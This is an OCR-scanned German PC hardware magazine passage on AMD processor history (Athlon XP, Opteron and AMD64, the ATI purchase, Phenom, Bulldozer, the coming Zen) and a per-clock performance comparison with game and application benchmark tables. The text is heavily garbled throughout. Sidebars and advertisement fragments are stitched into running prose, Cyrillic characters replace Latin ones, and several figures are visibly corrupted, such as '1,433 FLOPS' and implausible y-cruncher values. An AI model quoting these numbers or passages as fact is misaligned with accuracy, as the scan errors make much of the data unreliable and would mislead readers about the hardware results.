kalt. Mit der K8-Architektur integ- 
rierte AMD nach 3DNow seine zwei- 
te eigene Befehlssatzerweiterung 
in die x86-ISA und machte mit dem 
Opteron am 22. April 2003 Desktop- 
Prozessoren 64-Bit-tauglich, und das 
so erfolgreich, dass Intel schließlich 
AMD64 im Rahmen einer gegensei- 
tigen Lizenzierung adaptierte - um 
das Gesicht zu wahren allerdings 
unter dem Namen EM64T: Extended 
Memory 64 Technology. 


Im Gegensatz zu Intels Ansatz, im 
vielverspotteten Server-Schlacht- 
schiff „Itanium“ 32-Bit-Code nur 


ATI-Übernahme, APUs & Konsolen 


2006 kauft AMD die Radeon-Macher von ATI. Das hat weitreichende Konse- 
quenzen und trotz der mit rund 5 Mrd. US-Dollar hohen finanziellen Belastung 


wahrscheinlich die Firma 
gerettet. Nicht nur sind 
auf diese Weise die in 

die Prozessor-Kerne inte- 
grierten Grafikeinheiten 
(APUs) ermöglicht worden, 
auch die Konsolen-Chips 
etwa in Playstation 4 und 
Xbox One basieren auf der 
Verschmelzung von CPU 
und GPU. Jeweils acht 
Jaguar-Kerne werkeln zu- 
sammen mit einer Phalanx 
an Radeon-Compute-Units 
in den Chips — und helfen 
dabei, auch Spieleentwick- 
ler für Multicore-Nutzung 
zu begeistern. 
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2001 


Athlon XP - Quantispeed 
P-Rating und Multi-CPU 
Der Athlon muss durch 

viele Ausbaustufen und 
konkurriert am Ende seiner 


Laufbahn als XP 3200+ Barton" mit 2,33 GHz und 
512 KiB On-die-L2-Cache gegen Intels Pentium 4. Die 
,MP"-Variante für Multi-Sockel-Systeme ebnet AMD 
den Weg in Workstations und Supercomputer. 


2003 


Opteron - AMD bringt 
Im Juni 2003 ist ein neuer 


dem „Sledgehammer“ ge- 


den ersten 64-Bit-x86er 
AMD-Meilenstein perfekt: Mit 


nannten, ersten Opteron-Prozessor bringen die Texaner 
den ersten 64-Bit-Prozessor der bis dahin 32-bittigen 
x86-Welt — im Gegensatz zu Intels Server-, Itanium" ist 
er auch bei 32-bittigem Code richtig flott. 


2005 


Doppeltes Flottchen 
Nach dem durchschlagenden 
Erfolg der Athlon-64-Reihe 
folgt nun, was wie der 


монеи IN MALAYSIA. 


nächste Sargnagel für Intel 


aussieht: Die Athlon 64 X2 respektive ihre Opteron-Ge- 
schwister sind zwar nur beinahe die ersten Dualcores 
der x86-Welt, arbeiten im Tandem aber wesentlich 
flotter und effizienter als Intels Pentium D (Smithfield). 


Bild: Universität Heidelberg 


noch zu emulieren, war AMDs Lö- 
sung für alle praktischen Belange 
sehr flott unterwegs und schlug 
im wichtigen Desktop- und Work- 
station-Betrieb die konkurrierenden 
deutlich. 
Keinen unwesentlichen Anteil da- 


Pentium-4-Prozessoren 


ran hatte auch der erstmals in den 
Prozessor integrierte Zweikanal- 
Speicher-Controller, der für wesent- 
lich flottere Zugriffe sorgte, als es 
die Mainboard-Chipsätze jener Zeit 
vermochten. Auch das speziell für 
die Skalierbarkeit im professionel- 
len Workstation- und Server-Bereich 
wichtige Punkt-zu-Punkt-Protokoll 
„Hyper Transport“ war ein Novum 
bei den x86-Prozessoren. 


Gerade im Spieler-Bereich hatte 
AMD mit dem Athlon 64, der im Au- 
gust 2003 ein paar Monate nach dem 
Opteron vorgestellt wurde, ein ech- 
tes Brett abgeliefert. Die ersten Mo- 
delle waren die extrem teuren FX- 
Prozessoren, welche die Speerspitze 
für den aus dem Server-Bereich ad- 
aptierten Sockel 940 darstellten. 
Selbst der gering anmutende Takt 
von nur 2,2 GHz für den originalen 
FX 51 und 2,4 GHz beim FX 53 ge- 
nügten, um Intel nahezu durchweg 


in die Schranken zu weisen. Einzig 
der Pentium (4) Extreme Edition 
konnte in einzelnen, selektierten 
Tests wie bei der Videobearbeitung 
noch einen kleinen Vorsprung be- 
haupten. 


Neben den teuren FX-Modellen 
gab es auch günstigere Ausführun- 
gen mit niedrigerem Takt, weniger 
L2-Cache und nur einem Speicher- 
kanal, welche im für den Desktop 
ausgelegten Sockel 754 Platz fan- 
den. Es war nicht unüblich, dass in 
den Spiele-Benchmarks dieser Zeit 
sogar die Einsteiger-Athlon-64 allen 
normalen Pentium 4 enteilten. Eine 
schwere Zeit für Intel, doch das Lei- 
den sollte noch kein Ende haben. 


Athlon 64 X2 

Beim nächsten bedeutenden Schritt 
in die x86-Zukunft musste AMD In- 
tel zwar um wenige Tage den Vor- 
tritt lassen, weil jene in aller Eile 
einen Paper-Launch für den Penti- 
um EE 840 durchgezogen hatten, 
aber die Ausführung und damit 
das Gesamtpaket bei den Dualcore- 
Prozessoren von AMD war einfach 
und  performanter. Die 
Athlon 6á X2 arbeiteten mit zwei 


runder 


Die ersten Supercomputer 


Prozessoren AMD den Sprung in die 
Liga der Top-500-Supercomputer. Der 
erste seiner Art war der , HELICS" 
Heidelberg Linux Cluster System) von 
egware, welcher mit 512 Athlon MP 
1600+ (1,4 GHz) arbeitete und bei 
einer theoretischen Leistung von 1,433 
FLOPS einen Linpack-Durchsatz von 
825 GFLOPS erreichte. Das genügte in 
der Top-500-Liste 06/2002 für Platz 35. 
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it dem Athlon MP gab es erstmals eine AMD-CPU, welche explizit für Mehr- 
sockel-Hauptplatinen freigegeben war. Neben Jubelsprüngen einiger Multi-CPU- 
Enthusiasten im Heimbereich ermöglichten diese zum Athlon XP baugleichen 


Kernen, welche nicht umständlich 
über den Mainboard-Chipsatz mit- 
einander sprechen mussten wie bei 
den blauen Rivalen. Zudem lagen 
selbst die günstigeren X2-Modelle 
wie der 4200+ in Spielen meist vor 
den Pentium-Modellen, von den teu- 
ren FX-CPUs, welche ebenfalls das 
Dualcore-Update erhielten, und den 
regulären Topmodellen wie dem X2 
4800+ ganz zu schweigen. 


Phenom ХА, 45 nm, II und X6 
AMD gab entwicklungstechnisch 
weiterhin Gas, das Umfeld jedoch 
wurde problematischer. Native 
Quadcores, wie AMD die K10-Archi- 
tektur aggressiv bewarb, sind nun- 
mal komplexer als Dualcores, auch 
wenn viele Strukturen in den Ker- 
nen selbst repliziert werden. Hinzu 
kam, dass Intel Mitte 2006 von der 
Netburst- auf die Core-Architektur 
umgeschwenkt war und AMD in 
Sachen Performance und auch Leis- 
tungsaufnahme mehr als nur Paroli 
bieten konnte. Die Intel-Quadcores 
jedoch waren nach wie vor ,zusam- 
mengesteckte“ Zweikerner, wenn 
auch nun mit vier echten Kernen an- 
stelle von zweien plus Hyperthrea- 
ding. Mit Agena FX, so der Codena- 


me der Phenom-X4-CPUs, sollte die 
Kraft von vier Kernen zusammen 
mit einem Level-3-Cache von 2 MiB 
zum Einsatz kommen. Doch erst ein- 
mal kam der TLB-Bug zum Tragen, 
der nicht per Microcode-Update be- 
hoben werden konnte und per BIOS 
umgangen werden musste, was zu- 
sätzlich Leistung kostete. Die Takt- 
raten fielen zudem niedriger aus als 
beim Athlon 64 X2 und so musste 
sich das Spitzenmodell Phenom X4 
9950 mit 2,6 GHz begnügen - bei 
allerdings offenem Multiplikator, so- 
dass Übertakter noch mehr Leistung 
herauskitzeln konnten. 
Die Phenom X4 passten auch auf 
bestehende Boards mit dem Sockel 
AM2. 


Immerhin: 


Die 2009er-Nachfolgemodelle Phe- 
nom II wurden in 45-nm-Technik 
produziert, verfügten über einen 
von 2 auf 6 MiByte vergrófserten L3- 
Cache und erlaubten wesentlich hó- 
here Taktraten von serienmäßig bis 
zu 3,7 GHz. Übertakter erreichten 
auch langfristig stabile 4 GHz und 
mehr unter Luftkühlung. Zusammen 
mit niedrigen Preisen waren sie da- 
her in Spielerkreisen recht beliebt 
und speziell die um zwei weitere 


Bulldozer: Two Strong Threads 


“Bulldozer” 


Hyperthreaded. 
single-core chip 


Mit Bulldozer stellte AMD die Vorteile des Modul-Konzeptes (links) in den Vordergrund 
— und kehrt diesem 2017 zugunsten von Single-Core und SMT reumütig den Rücken. 
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Phenomale Vierkerner? 
Der laut AMD-Marketing 
erste native" Vierkerner, 
Codename Barcelona, 


AMD Phenom 


kommt im September dieses 
Jahres für Server, als Phenom X4 im November auch 
als Desktop-CPU. Probleme mit dem TLB und niedrige 
Taktfrequenzen als beim Vorgänger führen zu gerin- 
gerer Performance als erwartet. 
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Mit Server-Anleihen am ` Go 


Desktop vorbei 

Höhere Performance bei ge- A 
ringerer Chipgröße — ginge NN. SM á 

es nach im Vorfeld gestreu- = 
ten Leistungswerten — sollte die Modulbauweise der 
FX-Prozessoren auf Basis der Bulldozer-Architektur 
bringen. Sie erweist sich für Spieler hingegen eher als 
Bremsklotz aufgrund geringer Pro-MHz-Leistung. 


Eine neue Hoffnung 
Eine neue, vielleicht auch 
die letzte Hoffnung für AMD 
ist die Zen-Architektur. Erste 
Leistungswerte lassen ver- 
muten, dass AMD in Sachen Performance den Anschluss 
wiedergefunden hat, und auch die Leistungsaufnahme 
scheint man im Griff zu haben. Der Launch findet paral- 
lel zum Erscheinen dieser PCGH-Ausgabe statt. 


auf sechs Kerne aufgestockten X6- 
Modelle (‚Thuban“) tun heute noch 
ihren Dienst in vielen PCs. 


Trauerspiel: Bulldozer 

Der nächste große Wurf sollte 2011 
Bulldozer werden. Ohne Hyper- 
dafür aber mit Core Multithreading 
(CMT) sollten 80 Prozent der Leis- 
tung eines herkömmlichen Zwei- 
kerners pro Modul bei erheblich 
reduziertem Flächenbedarf erreicht 
werden. Was daraus wurde, ist lei- 
der allgemein bekannt: Die niedrige 
Pro-MHz-Leistung (IPC) zwang AMD 


Ө THUNDERBOLT. 73 Gigabit 


Ethernet 


zu sehr hohen Taktraten, was sich 
wiederum gar nicht gut auf die Leis- 
tungsaufnahme niederschlug. Vor al- 
lem für Spieler war die niedrige IPC 
(siehe Artikel ab Seite 54) schwierig 
zu kompensieren, da die meisten En- 
gines zumindest einen starken Th- 
read benötigen. In Ausnahmefällen 
wie Crysis 3 oder anderen Spielen 
mit sehr gleichmäßiger Thread-Ver- 
teilung kommen AMDs Viermodul- 
FX-CPUs an Mittelklasse-Core-i5- 
CPUs heran, benötigen jedoch 
meist doppelt so viel Strom - kein 
Wunder, sind sie mit 32 nm Struk- 


OPTANE» 
MEMOR 


CHIPSET 
2270 


turbreite doch bis heute auf der 
Fertigungstechnik des Jahres 2011 
stehen geblieben. In Anwendungen, 
die traditionell besser parallelisier- 
bar sind, halten die FX hingegen 
besser mit und sind speziell dank 
ihrer günstigen Preise von knapp 
über 100 Euro für einen Viermodu- 
ler (FX 8300) noch eine Alternative. 
Die Bulldozer-Iterationen Piledriver, 
Steamroller und Excavator verbes- 
serten in kleinen Schritten die Pro- 
MHz-Leistung und mit der letztge- 
nannten Ausbaustufe kamen sogar 
Fertigungsprozess 


ein moderner 


© dm rd zm 


(TSMC 28 nm), DDRÁ- und AVX2- 
Support hinzu - allerdings profitie- 
ren davon nur FM2+-APUs/CPUs. 


Hoffnungen ruhen auf Zen 

Ausgehend von Excavator - wie 
Steamroller leider nur als Zwei- 
moduler auf den Markt gekommen 
- soll Zen bei Erscheinen dieses 
Heftes die Rettung für AMD werden: 
Etliche Ryzen-CPUs mit bis zu acht 
(echten!) Kernen plus Simultaneous 
Multithreading, DDRÁ-Support und 
erhöhter IPC stehen für März in den 


(cs) 


Startlóchern. 


www.asrock.com 


The specification is subject to change without notice. 
The brand and product names d: 
Any configuration other than ori 


al product specification is not guaranteed. 
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“Bulldozer” 
Core 


Leistung 
AMD 


"based on internal AMD estimates for "Zen" x86 CPU core compared to “Excavator” x86 CPU core. 


"Excavator" 
Core 


More Instructions 
Per Clock' 


HOT CHIPS 28 | AUGUST 23, 2016 


Zwar sind Kernzahlen die neuen Megahertz, doch wer pro Takt viel schafft, ist auch bei schlecht opti- 


mierten Aufgaben früher fertig. Wir werfen einen Blick auf die Pro-MHz-Leistung bei AMD. 


eben móglichst vielen Mega- 
Nia Rechenher(t)zen ist die 
Leistung pro Takt eine der wichtigs- 
ten Kenngrófsen nicht nur aktueller 
Prozessoren. AMD hat in diesem 
Bereich starken Nachholbedarf und 
dies auch erkannt. Um nicht weni- 
ger als 40 Prozent soll die Pro-MHz- 
Leistung gegenüber der letzten 
Bulldozer-Ausbaustufe „Excavator“ 
mit Zen steigen. Wir prüfen den 
Weg bis dahin und zeigen, wie es 


um Excavator und die Modulskalie- 


rung im Vergleich zu anderen AMD- 
Architekturen bestellt ist. 


Rechenschritte pro Takt 

Die Leistungsfähigkeit eines Prozes- 
sors bestimmt sich aus dem Produkt 
der Anzahl an Rechenkernen, dem 
Takt in Megahertz und der Anzahl 
der parallel arbeitenden Ausfüh- 
rungseinheiten. Meistens wird sie 
in GFLOPS angegeben - Milliarden 
Gleitkommaoperationen pro Sekun- 
de - und auf Basis der Vektorein- 


Effizienzentwicklung der AMD-Prozessoren 
Drei Spiele (720p, kein AA/AF/minimales Post-Processing) 
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0 0 
Piledriver 0M Steamroller 0M Excavator 0M 
System: Kerntakt auf 3,2 GHz fixiert, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8-8-8-24), Geforce 
GTX 980 Ti @ 1.380/3.900 MHz (359.06 WHQL); Windows 10 x64 (1607) Bemerkungen: Gerade bei 
Excavator macht sich der verstárkte Fokus auf die Leistung pro Watt bemerkbar. 
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heiten (SSE, AVX) eines Prozessors 
errechnet. So weit, so theoretisch. 


Im Alltag jedoch spielen noch eine 
Menge anderer Faktoren mit in die- 
se Rechnung hinein. Neben Dingen 
wie der Speicheranbindung und 
-menge für die Datenversorgung ist 
das vor allem die sogenannte IPC. 
Das steht für Instructions per Clock 
und bedeutet Befehlsausführungen 
pro Sekunde und somit nichts an- 
deres als Pro-MHz-Leistung. Diese 
basiert zwar auf der theoretischen 
Leistungsfähigkeit, wird in der Pra- 
xis aber noch durch andere Fakto- 
ren beeinflusst. Beispiele hierfür 
sind das sogenannte Front-End, wel- 
ches die Recheneinheiten mit den 
auszuführenden Befehlen versorgt, 
oder das Cache-System: schnelle 
Zwischenspeicher, welche die zur 
Befehlsausführung nötigen Daten 
zeitnah bereitstellen. Hängt es auf- 
grund von Flaschenhälsen in ei- 
nem von beiden, passiert ... erstmal 
nichts. Diesen Zustand gilt es, nach 
Möglichkeit zu vermeiden. 


Ist IPC definiert? 


Wenn Sie im Aufmacher genau 


hingesehen haben, wird Ihnen 
aufgefallen sein, dass AMD einen 
40-Prozent-Sprung in der IPC für 


die Ryzen-Prozessoren angibt - und 


zwar im Vergleich zum bislang mo- 
dernsten firmeneigenen Kern „Ex- 
cavator“. Solche Marketing-Angaben 
sind wie immer mit Vorsicht zu 
genießen. Zwar werden sich Bele- 
ge für den Wahrheitsgehalt finden 
lassen, aber genauso wird es auch 
Gegenbeispiele geben. So kann 
die Angabe etwa im Rahmen einer 
bestimmten Leistungsaufnahme 
stimmen oder innerhalb eines spe- 
zifischen Flaschenhalses der Archi- 
tektur. Ein Beispiel: Bei der Vorstel- 
lung von „Steamroller“ (s. u.) gab 
AMD an, erfolgloses Nachschlagen 
im Instruktion-Cache sei um 30 Pro- 
zent verringert worden - tatsäch- 
lich wurde der Cache vergrößert. 
Kam nun ein Programm mit weni- 
gen Instruktionen aus, die auch in 
den kleineren Cache passten, lief 
die Verbesserung ins Leere. 


Würde AMD es schaffen, im Durch- 
schnitt über einen repräsentativen 
Benchmark-Parcours 40 Prozent 
pro Takt im Vergleich zu Excavator 
draufzulegen, wäre das ein erstaun- 
lich gutes Ergebnis. Seien Sie also 
nicht überrascht, falls es im Schnitt 
nicht ganz 40 Prozent werden. 


Kleine Bulldozer-Kunde 


Um einer möglichen Verwirrung 
durch die vielen Codenamen zuvor 
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Anwendungsperformance pro Megahertz 


Prozessormodell ЗОМ Е$ | Cinebench 7-Zip Lightroom | Blender Blender x264 v2638 y-Cruncher y-Cruncher 
Physik R15 (Sekunden) 53:1 2.76 2.78...-VC14 Multithread v0.6.9.9462 v0.7.1.9466b 
(Punkte) (Punkte) (Sekunden) | (Sekunden) (Sekunden) (Sekunden) (Sekunden) (Sekunden) 
Piledriver 8M (4т/8ї, NB @ 2,2 GHz) 6.364 514 249 198 588 384 190 5255 310,8 
Bulldozer 8M (4m/8t, NB @ 2,2 GHz) 5.693 484 265 22) 697 467 213 343,7 329,2 
Thuban 6M (6c/6t, NB @ 2,2 GHz) 6.876 485 330 210 455 648 233 430,5 440,5 (!) 
Piledriver 8M (2m/4t, NB 2,2 GHz) 3.597 258 436 282 127 750 367 641,0 607,4 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) 3.331 242 462 316 .339 919 417 БИЗ 639,6 
Excavator 0M (2m/4t, NB @ 1,3 GHz) 4.010 278 549 299 .078 637 313 607,2 564,7 
Steamroller OM (2m/4t, NB @ 1,3 GHz) 3.828 268 547 309 .026 687 333 613,7 578,9 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) 3,521 244 525 313 .165 786 377 665,0 620,8 
Thuban 6M (2c/2t, NB @ 2,2 GHz) 2.413 162 955 424 319 1.283 667 19,2 1.170,3 
Windsor 0M (2c/2t) 2.194 142 1.389 688 .601 1.541 976 2598177 1.916,8 


zu kommen, hier ein kurzer Über- 
blick: Die grundlegende Architek- 
turfamilie läuft bei AMD unter dem 
wenig einprägsamen Namen „15h“. 
Der Codename „Bulldozer“ bezieht 
sich auf sámtliche Ausbaustufen - 
vier an der Zahl: Bulldozer als Ur- 
vater und Namensstifter, Piledriver, 
Steamroller und Excavator. 


Zusátzlich gibt es Codenamen für 
bestimmte Produktreihen. So laufen 
etwa die für den Desktop-Einsatz ge- 
dachten Ur-Bulldozer-Chips mit bis 
zu vier Modulen unter „Zambezi“. 
Ihre Nachfolger mit Piledriver-Ker- 
nen heißen ,Vishera*. Bei den APUs, 
also Kombiprozessoren mit integ- 
rierter Grafik, setzt AMD seit dem 
A10-5800K auf Bulldozer-Kerne. 
Die 5000er-Reihe heißt „Trinity“, die 
6000er „Richland“ - beide verwen- 
den Piledriver-CPU-Kerne. Die bei- 
den modernsten Ausbaustufen der 
Bulldozer-Architektur, Steamroller 


und Excavator, sind den APUs vor- 
behalten - was unseren Pro-MHz- 
Vergleich etwas verkompliziert. Bei 
den 7000/8000er-APUs mit den 
Produktreihen „Kaveri“ und „Goda- 
уагі“ setzt AMD auf Steamroller, die 
9000er-APUs basieren auf Excavator 
(„Carrizo“, „Bristol Ridge“). Letzte- 
rer ist AMDs erstes Produkt für den 
neuen Sockel AMÁ, der auch DDRÁ- 
Speicher verwendet. Im Gegensatz 
zu den Desktop-Prozessoren müs- 
sen alle APUs übrigens auf L3-Cache 
verzichten - in den Benchmarks 
dieses Artikels sind sie mit „OM“ für 
0 MiByte L3-Cache gekennzeichnet. 


Das Bulldozer- Problem” 

Wie regelmäßige PCGH-Leser wis- 
sen, hat AMD mit seiner im Oktober 
2011 eingeführten und gerade in 
Ablösung befindlichen Architektur 
„Bulldozer“ auf die gegenüber voll- 
ständigen Dualcore-Prozessoren 


platzsparende Modultechnik ge- 


setzt. Je zwei Integer-Kerne teilen 
sich eine Floating-Point-/Vektorein- 
heit. Je nach Bulldozer-Version sind 
auch unterschiedlich viele Teile der 
Befehlsaufbereitung für mehrere 
Rechenwerke gleichzeitig zustän- 
dig. Da die Definition von „Core“, 
also Prozessorkern, nicht völlig 
unstrittig ist, geben wir die Anzahl 
der Recheneinheiten bei AMD-FX- 
CPUs und auf derselben Architektur 
basierenden APUs in Modulen und 
Threads an. Das Maximum in einem 
Chip sind vier Module, die an acht 
Integer-Threads zugleich arbeiten 
kónnen und sich auch so im Win- 
dows-Taskmanager präsentieren. 


Bei der Balance zwischen Fütte- 
rungs- und Recheneinheiten hat 
AMD seitdem immer wieder nach- 
gebessert und Feintuning betrie- 
ben. Wie bereits erwähnt, wurde 
für Steamroller etwa der Instrukti- 
onscache um 50 Prozent vergrößert 


und die Befehlsdekodierung von 
einer geteilten Ressource zu zwei 
einzelnen Blöcken befördert. 


Excavator ist der größte Bulldozer- 
Umbau: Hier wurden auch die Fer- 
tigung von 32 nm bei Globalfound- 
ries auf 28 nm bei TSMC umgestellt 
und sämtliche Ausführungseinhei- 
ten überarbeitet. Der Prozessor 
beherrscht als erstes AMD-Modell 
AVX2, braucht dafür aber zusätzli- 
che Takte, sodass sich die theore- 
tischen FLOPS nicht verdoppeln. 
Der L2-Cache wurde auf 1 MiByte 
pro Modul halbiert, der L1-Daten- 
cache dafür von 16 auf 32 KiByte 
verdoppelt. Das gilt es bei den Per- 
formance-Betrachtungen im Hinter- 
kopf zu behalten - denn manchmal 
passen in 512 KiByte zusätzlichen 
L2 die entscheidenden Daten, in 32 
KiByte mehr L2 jedoch nicht. Ex- 
cavator ist also nicht zwangsweise 
überall flotter. 


Kernskalierung: Phenom Il Kernskalierung: AMD FX-8xx0 (Piledriver) 
Skalierung mit Kernen (720p, kein AA/AF/minimales Post-Processing) Skalierung mit Modulen (720p, kein AA/AF/minimales Post-Processing) 
70 70 80 80 
* Assassin's Creed: Syndicate "s 
O Crysis 3 70 ° 70 
60 | | Witcher3 po 60 КЕЕ 
"a E F1 2015 СУ Е 
60 — 60 
Ë 50 | @ Dragon Age Inquisition ec? Gef 50 Ë mE анай 
E x Starcraft 2 E dii L 50 ш = 50 
5 ш 40 E p _ — 
* pu oun ай * 4 £^ -—— 40 
j^ 30 Ф FA Ë 30 A Be -p 
& „> ==” 5 30 30 
© YPP en = в 
3 20 " E 20 EI 20 % Assassin's Creed: Syndicate O Crysis 3 A Witcher 3 20 
= — edi = W F1 2015 @ Dragon Age Inquisition x Starcraft 2 
10 š > 10 10 . u x 10 
0 И 0 0 0 
2 Кегпе 4 Кетпе 6 Кегпе 2 Module/4 Threads 3 Module/6 Threads 4 Module/8 Threads 
System: Kerntakt auf 3,2 GHz fixiert, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8-8-8-24), Geforce System: Kerntakt auf 3,2 GHz fixiert, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8-8-8-24), Geforce 
GTX 980 Ti @ 1.380/3.900 MHz (359.06 WHQL); Windows 10 x64 (1607) Bemerkungen: Dragon Age GTX 980 Ti @ 1.380/3.900 MHz (359.06 WHQL); Windows 10 x64 (1607) Bemerkungen: Die Zuwachskurve 
Inquisition startet mit nur zwei aktiven CPU-Kernen beziehungsweise Hardware-Threads nicht. flacht bei mehr als drei Modulen in einigen Titeln deutlich ab. 
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So haben wir getestet 

Alle Prozessoren treten mit fixier- 
ten 3,2 GHz - also ohne Turbo - an 
und greifen auf 16 GiByte DDR3- 
1600 mit denselben Latenzen zu- 
rück. Einzige Ausnahme ist der X2 
6400+ mit Windsor-Kern, da er in 
der AM2-Plattform nur DDR2-800 
unterstützt. Vorhandene Stromspar- 
funktionen haben wir im Unter- 


schied zu unseren Standard-Bench- 
marks ebenfalls deaktiviert. 


Um Verfälschungen in der Darstel- 
lung zu vermeiden, haben wir un- 
sere Probanden in mehrere Grup- 
pen unterteilt. Der Vollausbau bei 
allen aktiven Modulen und Kernen 
erreicht natürlich die höchste Leis- 
tung. Leider können hier nur Bull- 


dozer, Piledriver und die Vorgän- 
gergeneration Thuban (pro Takt 
identisch mit Deneb im Phenom 
II X4) antreten. Die moderneren 
AMD-Architekturen bleiben „unver- 
gleichlich“. Diese haben wir in Form 
von APUs, welche über dieselbe 
Basis-Architektur verfügen, in eine 
eigene Gruppe übernommen - hier 
finden Sie 65-Watt-Versionen von Pi- 


ledriver, Steamroller und Excavator. 
Im Gegensatz zum Standard-Betrieb 
mussten wir den Takt der integrier- 
ten Northbridge ebenfalls fixieren, 
denn Excavator in seiner Eigen- 
schaft als Stromsparer erlaubte hier 
maximal 1,3 GHz - Steamroller und 
erst recht Richland sind standard- 
mäßig deutlich flotter unterwegs. 
Zum Vergleich, was 8 Megabyte 


Assassin's Creed: Syndicate 


Anno 2205 


„Bishopsgate” (720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4m/8t, NB @ 2,2 GHz) Xuan ew 67,0 (+67 96) 
Bulldozer 8M (4m/8t, NB © 2,2 GHz) Esse 60,2 (4-50 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) ВЕСОВ 57,3 (+43 %) 


Piledriver 8M (2m/4t, NB @ 2,2 GHz) [Xa 53,3 (+33 96) 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) Egg Es 47,6 (+18 96) 


Excavator OM (2m/4t, NB @ 1,3 GHz) ВЕЗУ ШЕШ 40,5 (+1 96) 
Steamroller OM (2m/4t, NB © 1,3 GHz) EB 39,8 (-1 96) 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) SSEIIICIIICIHHIIUG@GIC'IOGOIINOI I0IIAII'SIO,A 


Thuban 6M (2c/2t, NB @ 2,2 GHz) Egan 30,8 (23 96) 
Windsor OM (2c/2t) pu 22,7 (-44 %) 


,Walbruck 67k" (720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4m/8t, NB © 2,2 GHz) mw 19,9 (+42 %) 
Bulldozer 8M (4т/8ї, NB @ 2,2 GHz) Enn 17,6 (+26 %) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) EX 16,5 (+18 96) 


Piledriver 8M (2m/4t, NB @ 2,2 GHz) EX В 17,0 (+21 96) 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) EX ШШ 14,6 (+4 %) 


Excavator 0M (2m/4t, NB @ 1,3 GHz) Xs 15,7 (+12 96) 
Steamroller OM (2m/4t, NB © 1,3 GHz) Eu 14,4 (+3 96) 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) El 14,0 (Basis) 


Thuban 6M (2c/2t, NB @ 2,2 GHz) Eme 88 11,1 C21 90) 
Windsor ОМ (2c/2t) Egit 8,7 (-38 96) 


System: Kerntakt fix 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 
MHz (359.06 WHQL); Windows 10 x64 (1607) 


Mimi 2 Fps 


» Besser 


System: Kerntakt fix @ 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 
Mhz (359.06 WHQL); Windows 10 x64 (1607) 


Mimi 2 Fps 


» Besser 


Crysis 3 


F1 2015 


,Fields" (720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4т/8ї, NB @ 2,2 GHz) SB 70,4 (+94 %) 
Bulldozer 8M (4m/8t, NB @ 2,2 GHz) mai us 59,1 (+63 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) БС Н 66,3 (+83 96) 


Piledriver 8M (2m/4t, NB © 2,2 GHz) EB ШЕШ 39,3 (+8 %) 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) ESSE 33,1 (4-9 96) 


Excavator 0M (2m/4t, NB @ 1,3 GHz) su 41,8 (+15 96) 
Steamroller OM (2m/4t, NB @ 1,3 GHz) EST es 38,7 (+7 96) 
Piledriver OM (2m/4t, NB © 1,3 GHz) EEE E 36,3 (Basis) 


Thuban 6M (2с/21, NB @ 2,2 GHz) EZ 23,1 (-36 %) 
Windsor ОМ (2c/2t) EEE 18,1 (-50 96) 


„Stormy Spain" (720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4т/8ї, NB @ 2,2 GHz) ER es 50,0 (+115 96) 
Bulldozer 8M (4m/8t, NB © 2,2 GHz) Egan pu 43,5 (+87 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) IE] ШЕШШ 28,3 (+21 96) 


Piledriver 8M (2m/4t, NB © 2,2 GHz) Egi p 26,8 (+15 96) 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) Su 22,9 (-2 %) 


Excavator 0M (2m/4t, NB @ 1,3 GHz) giu 29,5 (+27 96) 
Steamroller OM (2m/4t, NB @ 1,3 GHz) EX Eu 26,8 (+15 96) 
Piledriver DM (2m/4t, NB @ 1,3 GHz) EEE ISIWÇÓDGZIIISISIIUI€LI IG€IIƏN' II 


Thuban 6M (2c/2t, NB © 2,2 GHz) IL 9,5 (-59 96) 
Windsor ОМ (2c/2t) WEIN 6,5 (-72 96) 


System: Kerntakt fix 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 
MHz (359.06 WHQL); Windows 10 x64 (1607) 


Mimil 2 Fps 


» Besser 


System: Kerntakt fix @ 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 
Mhz (359.06 WHQL); Windows 10 x64 (1607) 


Mimil 2 Fps 


» Besser 


Dragon Age: Inquisition 


Far Cry 4 


„Hinterlands” (720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4m/8t, NB @ 2,2 GHz) maa Eu 58,6 (+85 96) 
Bulldozer 8M (4m/8t, NB @ 2,2 GHz) Egg ШЕШШ 53,4 (4-68 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) og 57,3 (+81 96) 


Piledriver 8M (2m/4t, NB © 2,2 GHz) EX 36,9 (+16 96) 
Bulldozer 8M (2m/4t, NB © 2,2 GHz) Ee 32,8 (+3 %) 


Excavator ОМ (2m/4t, NB @ 1,3 GHz) Esq ШЕШ 41,6 (+31 90) 
Steamroller OM (2m/4t, NB @ 1,3 GHz) Eq 39,1 (+23 96) 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) Ft 31,7 (Basis) 


,Banapur" (720p, kein AA/AF/minimales Post-Processing/Gameworks aus) 


